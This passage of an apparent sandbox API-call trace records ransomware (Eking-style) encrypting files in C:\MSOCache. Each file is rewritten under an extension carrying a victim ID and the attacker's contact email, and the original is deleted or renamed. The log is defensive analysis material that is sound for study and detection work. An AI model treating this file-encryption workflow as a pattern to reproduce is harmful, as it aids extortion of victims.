users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0240.405] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0240.405] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0240.405] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0240.406] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0240.406] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0240.406] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x1c0 [0240.406] ReadFile (in: hFile=0x1a8, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0xa40, lpOverlapped=0x0) returned 1 [0240.408] WriteFile (in: hFile=0x1c0, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xa50, lpOverlapped=0x0) returned 1 [0240.409] WriteFile (in: hFile=0x1c0, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xf2, lpOverlapped=0x0) returned 1 [0240.409] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0240.409] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0240.409] WriteFile (in: hFile=0x1a8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xa40, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0xa40, lpOverlapped=0x0) returned 1 [0240.409] FlushFileBuffers (hFile=0x1a8) returned 1 [0241.021] FlushFileBuffers (hFile=0x1c0) returned 1 [0241.038] CloseHandle (hObject=0x1a8) returned 1 [0241.038] CloseHandle (hObject=0x1c0) returned 1 [0241.039] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0241.040] SetEvent (hEvent=0xe0) returned 1 [0241.040] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0241.041] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=4274) returned 1 [0241.041] CloseHandle (hObject=0x1c0) returned 1 [0241.041] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 0x2020 [0241.041] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 0x2020 [0241.041] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0241.041] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0241.041] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0241.041] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0241.041] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x1a8 [0241.042] ReadFile (in: hFile=0x1c0, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0x10b2, lpOverlapped=0x0) returned 1 [0241.043] WriteFile (in: hFile=0x1a8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x10c0, lpOverlapped=0x0) returned 1 [0241.044] WriteFile (in: hFile=0x1a8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xf2, lpOverlapped=0x0) returned 1 [0241.045] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0241.045] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0241.045] WriteFile (in: hFile=0x1c0, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x10b2, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0x10b2, lpOverlapped=0x0) returned 1 [0241.045] FlushFileBuffers (hFile=0x1c0) returned 1 [0241.048] FlushFileBuffers (hFile=0x1a8) returned 1 [0241.051] CloseHandle (hObject=0x1c0) returned 1 [0241.051] CloseHandle (hObject=0x1a8) returned 1 [0241.051] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 1 [0241.052] SetEvent (hEvent=0xe0) returned 1 [0241.052] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0241.053] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=174440) returned 1 [0241.053] CloseHandle (hObject=0x1a8) returned 1 [0241.053] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 0x2020 [0241.053] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 0x2020 [0241.053] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0241.053] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0241.053] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0241.053] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0241.053] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x1c0 [0241.053] ReadFile (in: hFile=0x1a8, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0x2a968, lpOverlapped=0x0) returned 1 [0241.058] WriteFile (in: hFile=0x1c0, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x2a970, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x2a970, lpOverlapped=0x0) returned 1 [0241.063] WriteFile (in: hFile=0x1c0, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xe2, lpOverlapped=0x0) returned 1 [0241.063] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0241.063] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0241.063] WriteFile (in: hFile=0x1a8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x2a968, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0x2a968, lpOverlapped=0x0) returned 1 [0241.064] FlushFileBuffers (hFile=0x1a8) returned 1 [0241.169] FlushFileBuffers (hFile=0x1c0) returned 1 [0242.159] CloseHandle (hObject=0x1a8) returned 1 [0242.160] CloseHandle (hObject=0x1c0) returned 1 [0242.160] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 1 [0242.163] SetEvent (hEvent=0xe0) returned 1 [0242.164] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0242.164] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=7378792) returned 1 [0242.164] CloseHandle (hObject=0x1c0) returned 1 [0242.165] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll")) returned 0x2020 [0242.165] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 1 [0242.165] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0242.166] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0242.166] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0242.166] ReadFile (in: hFile=0x1c0, lpBuffer=0x3370058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2faf9c4, lpOverlapped=0x0 | out: lpBuffer=0x3370058*, lpNumberOfBytesRead=0x2faf9c4*=0x40000, lpOverlapped=0x0) returned 1 [0242.171] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0242.171] ReadFile (in: hFile=0x1c0, lpBuffer=0x33b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2faf9c4, lpOverlapped=0x0 | out: lpBuffer=0x33b0058*, lpNumberOfBytesRead=0x2faf9c4*=0x40000, lpOverlapped=0x0) returned 1 [0242.178] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9b8 | out: lpNewFilePointer=0x0) returned 1 [0242.178] ReadFile (in: hFile=0x1c0, lpBuffer=0x33f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2faf9c4, lpOverlapped=0x0 | out: lpBuffer=0x33f0058*, lpNumberOfBytesRead=0x2faf9c4*=0x40000, lpOverlapped=0x0) returned 1 [0242.223] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb28 | out: lpNewFilePointer=0x0) returned 1 [0242.223] WriteFile (in: hFile=0x1c0, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xc0102, lpOverlapped=0x0) returned 1 [0242.268] SetEndOfFile (hFile=0x1c0) returned 1 [0242.268] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9c0 | out: lpNewFilePointer=0x0) returned 1 [0242.268] WriteFile (in: hFile=0x1c0, lpBuffer=0x343013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2faf9cc, lpOverlapped=0x0 | out: lpBuffer=0x343013a*, lpNumberOfBytesWritten=0x2faf9cc*=0x40000, lpOverlapped=0x0) returned 1 [0242.270] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9c0 | out: lpNewFilePointer=0x0) returned 1 [0242.270] WriteFile (in: hFile=0x1c0, lpBuffer=0x343013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2faf9cc, lpOverlapped=0x0 | out: lpBuffer=0x343013a*, lpNumberOfBytesWritten=0x2faf9cc*=0x40000, lpOverlapped=0x0) returned 1 [0242.273] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf9c0 | out: lpNewFilePointer=0x0) returned 1 [0242.273] WriteFile (in: hFile=0x1c0, lpBuffer=0x343013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2faf9cc, lpOverlapped=0x0 | out: lpBuffer=0x343013a*, lpNumberOfBytesWritten=0x2faf9cc*=0x40000, lpOverlapped=0x0) returned 1 [0242.275] FlushFileBuffers (hFile=0x1c0) returned 1 [0242.506] CloseHandle (hObject=0x1c0) returned 1 [0242.506] SetEvent (hEvent=0xe0) returned 1 [0242.506] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0242.508] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=1463568) returned 1 [0242.508] CloseHandle (hObject=0x1c0) returned 1 [0242.508] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 0x2020 [0242.508] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 0x2020 [0242.508] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0242.509] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0242.509] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0242.509] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0242.509] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x1a8 [0242.510] ReadFile (in: hFile=0x1c0, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0x110100, lpOverlapped=0x0) returned 1 [0242.553] WriteFile (in: hFile=0x1a8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x110100, lpOverlapped=0x0) returned 1 [0242.586] ReadFile (in: hFile=0x1c0, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0x55410, lpOverlapped=0x0) returned 1 [0242.591] WriteFile (in: hFile=0x1a8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x55420, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x55420, lpOverlapped=0x0) returned 1 [0242.602] WriteFile (in: hFile=0x1a8, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xf2, lpOverlapped=0x0) returned 1 [0242.603] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0242.603] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0242.603] WriteFile (in: hFile=0x1c0, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0x110102, lpOverlapped=0x0) returned 1 [0242.611] WriteFile (in: hFile=0x1c0, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x5540e, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0x5540e, lpOverlapped=0x0) returned 1 [0242.612] FlushFileBuffers (hFile=0x1c0) returned 1 [0243.542] FlushFileBuffers (hFile=0x1a8) returned 1 [0243.874] CloseHandle (hObject=0x1c0) returned 1 [0243.874] CloseHandle (hObject=0x1a8) returned 1 [0243.875] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 1 [0243.983] SetEvent (hEvent=0xe0) returned 1 [0243.983] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0243.984] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=715834) returned 1 [0243.984] CloseHandle (hObject=0x1c4) returned 1 [0243.984] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 0x2020 [0243.984] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 0x2020 [0243.984] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0243.985] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0243.985] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0243.985] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0243.985] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, 